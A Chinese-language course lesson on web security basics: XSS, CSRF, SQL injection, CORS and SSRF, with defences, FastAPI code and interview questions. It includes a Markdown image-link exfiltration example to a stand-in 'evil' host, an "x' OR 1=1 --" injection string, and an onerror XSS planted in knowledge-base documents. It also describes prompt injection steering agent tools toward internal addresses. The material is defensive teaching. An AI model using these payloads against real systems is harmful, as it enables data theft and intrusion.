Files
zhuangang/topics/cs/web-security/01-xss-csrf-sqli-cors-ssrf.md

5.0 KiB
Raw Permalink Blame History

id, title, type, domain, stack, tags, level, prerequisites, est_hours, related, week, order
id title type domain stack tags level prerequisites est_hours related week order
cs.web-security.common-attacks Web 安全基础:XSS、CSRF、SQL 注入、CORS、SSRF 的原理、防御和在 AI 应用中的新形态 lesson cs
web-security
XSS
CSRF
SQL 注入
CORS
SSRF
CSP
SameSite
参数化查询
OWASP
basic
cs.network-os.http-tcp
3
cs.web-security.scenario.ai-app-security
ai.prompt-engineering.scenario.injection-defense
cs.web-security.interview
7
14
16
1

Web 安全基础:XSS、CSRF、SQL 注入、CORS、SSRF 的原理、防御和在 AI 应用中的新形态

BOSS直聘 2026-10-23 的调研中有岗位提到 Web 安全基础。AI 应用让老问题出现了新入口:模型输出可能包含恶意 HTML(XSS),Agent 的抓取工具可能被诱导访问内网(SSRF),用户输入可能拼接进模型生成的 SQL。参考:OWASP Top 10(https://owasp.org/www-project-top-ten/)。

解释说明

攻击 原理 防御
XSS(跨站脚本) 攻击者的脚本被当作页面的一部分执行,可以窃取数据、冒充用户操作 输出时按上下文转义(框架默认转义,慎用 v-html / dangerouslySetInnerHTML);富文本用白名单清洗;CSP;Cookie 设 HttpOnly
CSRF(跨站请求伪造) 用户已登录,恶意网站让浏览器带着 Cookie 向目标站点发请求 Cookie SameSite=Lax/Strict;CSRF Token(同步令牌或双重提交);校验 Origin;改变状态的操作不用 GET
SQL 注入 用户输入被拼接成 SQL 执行 参数化查询;ORM;最小权限的数据库账号;不能参数化的部分(表名、排序字段)用白名单
CORS 配置错误 CORS 是浏览器放宽同源策略的机制;配置成“任意来源 + 允许凭证”或反射请求的 Origin,等于允许任何网站读取用户数据 来源白名单;带凭证时不能用 *;只开放需要的方法和请求头
SSRF(服务端请求伪造) 诱导服务器访问内网地址(数据库、管理接口、云元数据 169.254.169.254) 协议白名单;解析域名后检查所有 IP 是否为公网;禁止或逐跳校验重定向;网络层出口限制

注意:CORS 不是安全防护,而是对同源策略的“放宽”;服务端仍然必须做鉴权。CORS 也不能防 CSRF(简单请求照样会发出,只是读不到响应)。

AI 应用中的新形态

  • 模型输出渲染成 HTML / Markdown 时的 XSS:Markdown 中的原始 HTML、javascript: 链接、图片链接外带数据(![](https://evil/?q=敏感信息))。
  • 提示词注入诱导 Agent 调用工具:抓取内网地址(SSRF)、执行越权操作。见提示词注入防护。
  • Text-to-SQL:模型生成的 SQL 要用只读账号、白名单表、限制行数,并在执行前做语法分析。

案例

AI 客服页面把模型回答作为 Markdown 渲染。有人在知识库文档中埋入 <img src=x onerror=...>,模型在回答中原样引用,所有看到回答的用户都执行了这段脚本。修复:渲染前清洗(禁用原始 HTML,过滤危险协议的链接)、CSP 禁止内联脚本、会话 Cookie 设 HttpOnly。

代码示例

examples/secure-api(FastAPI + sqlite3,13 个测试通过;每类问题都先证明“错误写法可被利用”,再证明“正确写法能防住”):

# SQL 注入:拼接 vs 参数化
db.execute(f"... WHERE tenant = '{tenant}' AND id LIKE '%{keyword}%'")              # keyword = "x' OR 1=1 --" 读到其他租户
db.execute("... WHERE tenant = ? AND id LIKE ?", (tenant, f"%{keyword}%"))          # 安全

# SSRF:解析后检查所有 IP
for info in socket.getaddrinfo(host, port):
    if not ipaddress.ip_address(info[4][0]).is_global:
        raise ValueError("禁止访问内网地址")

CORS 白名单 + CSRF 双重提交:

app.add_middleware(CORSMiddleware, allow_origins=["https://app.example.com"], allow_credentials=True, ...)

if not secrets.compare_digest(csrf_cookie, x_csrf_token):    # 跨站页面读不到 csrf_token Cookie,无法设置请求头
    raise HTTPException(403, "CSRF 校验失败")

易错点

  • 只在前端校验输入。
  • 用黑名单过滤 XSS(replace("<script>", "")),总能被绕过。
  • 用 ORM 却在原生查询处拼接字符串。
  • allow_origins=["*"] 加 allow_credentials=True,或者把请求的 Origin 原样反射回去。
  • SSRF 只校验域名字符串,不校验解析后的 IP;或者允许跟随重定向。
  • 把 JWT 存在 localStorage 中,一旦有 XSS 就被窃取(是否这样做要权衡,至少要有 CSP)。

面试常问

  • XSS 有哪几类?怎么防御?
  • CSRF 的原理?SameSite 能完全防住吗?
  • 为什么参数化查询能防 SQL 注入?
  • CORS 是什么?它能防 CSRF 吗?
  • 你的 Agent 有抓取网页的工具,怎么防止 SSRF?